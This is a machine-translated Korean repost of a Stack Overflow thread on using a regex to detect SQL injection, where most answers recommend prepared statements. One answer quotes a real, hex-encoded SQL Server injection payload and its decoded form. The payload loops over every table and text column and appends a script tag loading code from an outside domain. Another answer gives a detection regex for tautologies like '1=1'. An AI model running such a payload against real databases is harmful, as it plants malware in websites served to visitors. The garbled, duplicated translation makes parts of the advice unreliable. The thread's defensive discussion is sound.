[SQL] SQL 주입을 감지하는 정규 표현식
SQLSQL 주입을 감지하는 정규 표현식
문자열에서 SQL을 감지 할 수있는 정규 표현식이 있습니까? 사람이 그들이 공유하기 전에 사용하는 것을 무언가의 샘플이 있습니까?
해결법
-
==============================
1.하지 마. 당신은 사실상 실패 보장하고 있습니다. 사용 된 PreparedStatement (또는 이에 상응하는) 대신.
하지 마. 당신은 사실상 실패 보장하고 있습니다. 사용 된 PreparedStatement (또는 이에 상응하는) 대신.
-
==============================
2.저장 프로 시저 또는 준비된 문을 사용합니다. 어떻게 이런 식으로 뭔가를 감지?
저장 프로 시저 또는 준비된 문을 사용합니다. 어떻게 이런 식으로 뭔가를 감지?
BTW이 실행되지 않습니다 :
DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415 245204054205641524348415228323535292C40432056415243 4841522832353529204445434C415245205461626C655 F437572736F7220435552534F5220464F522053454C45435420612E6 E616D652C622E6E616D652046524F4D207379736F626A65637473206 12C737973636F6C756D6E73206220574845524520612E69643D622E6 96420414E4420612E78747970653D27752720414E442028622E78747 970653D3939204F5220622E78747970653D3335204F5220622E78747 970653D323331204F5220622E78747970653D31363729204F50454E2 05461626C655F437572736F72204645544348204E4558542046524F4 D205461626C655F437572736F7220494E544F2040542C40432057484 94C4528404046455443485F5354415455533D302920424547494E204 55845432827555044415445205B272B40542B275D20534554205B272 B40432B275D3D525452494D28434F4E5645525428564152434841522 834303030292C5B272B40432B275D29292B27273C736372697074207 372633D687474703A2F2F7777772E63686B626E722E636F6D2F622E6 A733E3C2F7363726970743E27272729204645544348204E455854204 6524F4D205461626C655F437572736F7220494E544F2040542C40432 0454E4420434C4F5345205461626C655F437572736F72204445414C4 C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);
어떤에 번역 :
( DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC( 'UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=chkbnr.com/b.js></script>''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor )
-
==============================
3.자신의 저장 문제와 준비된 명령문 또는 매개 변수화 된 쿼리와 저장 프로 시저를 사용. 그들은 데이터베이스에 대한 인터페이스처럼 행동으로 저장 프로 시저 그래서 당신은 (저장된 시저 내부) 내부적으로 발생하지만 서명이 동일하게 유지 무엇을 변경할 수 있습니다, 어쨌든 좋은 연습입니다. 주입 보호의 준비된 명령문의 도움을 돌봐.
자신의 저장 문제와 준비된 명령문 또는 매개 변수화 된 쿼리와 저장 프로 시저를 사용. 그들은 데이터베이스에 대한 인터페이스처럼 행동으로 저장 프로 시저 그래서 당신은 (저장된 시저 내부) 내부적으로 발생하지만 서명이 동일하게 유지 무엇을 변경할 수 있습니다, 어쨌든 좋은 연습입니다. 주입 보호의 준비된 명령문의 도움을 돌봐.
-
==============================
4.나는 정규식이없는 그러나 나의 이해는 가장 중요한 것은 작은 따옴표를 감지하는 것입니다. 모든 주입 공격은 거기에서 시작합니다. 그들은 아마도이 - 너무 거기에 주석하고 문자열 후이 될 수있는 다른 SQL에 로그인합니다.
나는 정규식이없는 그러나 나의 이해는 가장 중요한 것은 작은 따옴표를 감지하는 것입니다. 모든 주입 공격은 거기에서 시작합니다. 그들은 아마도이 - 너무 거기에 주석하고 문자열 후이 될 수있는 다른 SQL에 로그인합니다.
-
==============================
5.으로는 준비된 문을 사용하는 것이 좋습니다 말했다. 당신은 전화를 준비의 사용을 강제로 저장 프로 시저에 의해 실행되는 키 쿼리를 강제로 주장 할 수 있습니다.
으로는 준비된 문을 사용하는 것이 좋습니다 말했다. 당신은 전화를 준비의 사용을 강제로 저장 프로 시저에 의해 실행되는 키 쿼리를 강제로 주장 할 수 있습니다.
여하튼, 여기서 여기서 절에서 간단한 고전 N을 검출 그렙 = N의 정수이고; 그것은 신고 건너 뜁니다하여 OR 많은 게으른에 대한 질의 생성자 및하지만 의지 플래그를에 의해 사용 1 = 1
((WHERE|OR)[ ]+[\(]*[ ]*([\(]*[0-9]+[\)]*)[ ]*=[ ]*[\)]*[ ]*\3)|AND[ ]+[\(]*[ ]*([\(]*1[0-9]+|[2-9][0-9]*[\)]*)[ ]*[\(]*[ ]*=[ ]*[\)]*[ ]*\4
물론 진수 문자열 비교를 감지 개선,하지만 등 ORD (MID (같은 다른 greps와 함께, 빠른 감지 메커니즘이었다 할 수있다
MySQL과의 일반 로그와 같은 쿼리 로그에 사용
그 유용 희망
from https://stackoverflow.com/questions/45093/regex-to-detect-sql-injection by cc-by-sa and MIT license
'SQL' 카테고리의 다른 글
[SQL] 테이블 출력 매개 변수를 사용하여 저장 프로 시저를 만들 수 없습니다 (0) | 2020.06.16 |
---|---|
[SQL] 어떻게 SELECT 쿼리에서 열을 제외하려면? (0) | 2020.06.16 |
[SQL] SQL Server의 텍스트에서 추출 번호 (0) | 2020.06.16 |
[SQL] 합니까 MS 액세스 (2003) 저장 프로 시저에 비해 아무것도. 나는 MS의 acceess에서 복잡한 쿼리를 실행하려면 (0) | 2020.06.16 |
[SQL] PostgreSQL의에서 소수점 후 비 제로 레코드를 가져 오기 (0) | 2020.06.16 |